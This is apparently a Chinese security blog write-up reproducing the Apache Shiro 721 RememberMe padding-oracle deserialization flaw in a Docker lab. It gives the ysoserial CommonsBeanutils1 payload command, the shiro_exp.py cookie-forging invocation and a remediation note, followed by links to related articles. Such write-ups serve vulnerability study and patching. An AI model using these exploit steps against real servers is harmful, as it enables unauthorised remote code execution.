Apache Shiro 721反序列化漏洞复现
漏洞原理
Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。
这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。
总之就有点类似于盲注,攻击者可以利用这一点来进行尝试不同的填充方式,精心构造RememberMe Cookie执行反序列化,无需知道RememberMe加密的密钥。
Shiro721 和 Shiro550 的差异?
Shiro721和Shiro550一样,都是生成恶意RememberMe Cookie反序列化执行代码,不同之处是RememberMe Cookie的生成方式。
shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Payload。
Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,通过服务器对填充密钥的不同响应,从而判断加密值是否被正确填充,构造Pyload。
复现
影响版本:Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1
环境搭建:
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
浏览器访问靶机 8080 端口:

使用已有用户登录,得到 RememberMe Cookie:

使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
这里使用其他师傅@3ND写的 shiro_exp.py 脚本,通过 Padding Oracle Attack 生成Rememberme Cookie:
python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser
这个 exp 爆破时间有点长:

将得到的这个Rememberme Cookie替换到Cookie处发送:
需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。

进入到我们的靶机docker环境中,可以看到 /tmp/success 文件已经成功创建,利用成功。

修复方式
升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)
参考文章:
https://github.com/inspiringz/Shiro-721
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md
https://issues.apache.org/jira/browse/SHIRO-721
若有错误,欢迎指正!o( ̄▽ ̄)ブ
Apache Shiro 721反序列化漏洞复现的更多相关文章
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- Apache Shiro Java反序列化漏洞分析
1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...
- Shiro remeberMe反序列化漏洞复现(Shiro-550)
Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- Shiro 550反序列化漏洞分析
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Jboss反序列化漏洞复现(CVE-2017-12149)
Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...
随机推荐
- JMESPath 使用
最近在学习使用 AWS CLI,经常要用到 query 功能.AWS CLI 使用的查询语法是 JMESPath,因此特地在这里记录常用的 JMESPath 语法. JMESPath 是一种查询语言, ...
- Json Number Format 异常 Expected an int but was 2168520652 at line 1 column 325
某变量声明为Integer类型,报json 转换异常 超出了Integer的最大值2147483647, 将类型修改为BigInteger即可,BigInteger:支持任意精度的整数 写Bean时, ...
- 使用Windows API 编写按行分配的计算矩阵向量相乘的并行程序
水了一学期的院选修,万万没想到期末考试还有比较硬核的编程题,居然还涉及到多线程了,而且是调用Windows接口函数写多线程.虽然学汇编的时候有所了解,但毕竟没尝试过,思来想去,写出了下面的蹩脚代码,不 ...
- anaconda-navigator 卡在 loading applications
其实上学期开学就已经这样了,我又不用,再者我上课对这些依赖不大,就没管. 这几天想彻底搞定吧.现状了opencv,最后搞了半天,还是通过安装相应版本的.whl文件搞定了,无法conda install ...
- A股迎来中报季,合合信息文档解析技术辅助大模型深度解读财报
财务报告是公众和投资者了解企业经营状况的主要信源之一.步入8月中下旬,上市公司进入了中报披露高峰期.据东方财富Choice数据统计,截至8月14日数据,A股有超过1715只个股公布了2024年半年度业 ...
- 中国信通院高质量数字化转型产品及服务全景图发布,合合信息多项AI产品入选
随着5G.人工智能.大数据等新一代技术的发展,企业在商业竞争中正面临更多不确定性.中国信通院高度关注企业数字化转型中遇到的痛点,发起"铸基计划-高质量数字化转型行动",链接企业数字 ...
- DOM – Web Components
前言 Web Components 已经听过很多年了, 但在开发中用纯 DOM 来实现还是比较少见的. 通常我们是配搭 Angular, React, Vue, Lit 来使用. 这篇就来讲讲纯 We ...
- HTML – Native Form 原生表单功能集
前言 以前写过 form 表单, 但很不齐全, 这篇想做一个大整理. 主要讲讲在网站中使用原生 Form 的功能, 不足和扩展. 前端是原生的 HTML/JS, 后端是 ASP.NET Core Ra ...
- ubuntu22.04安装DBeaver
要在 Ubuntu22.04 上安装 DBeaver,可以选择使用 Ubuntu 软件中心的图形界面方法或使用命令行方法通过官方 DBeaver 仓库或 Snap 包安装. 方法一:从官方仓库安装 D ...
- eBPF 概述:第 1 部分:介绍
1. 前言 有兴趣了解更多关于 eBPF 技术的底层细节?那么请继续移步,我们将深入研究 eBPF 的底层细节,从其虚拟机机制和工具,到在远程资源受限的嵌入式设备上运行跟踪. 注意:本系列博客文章将集 ...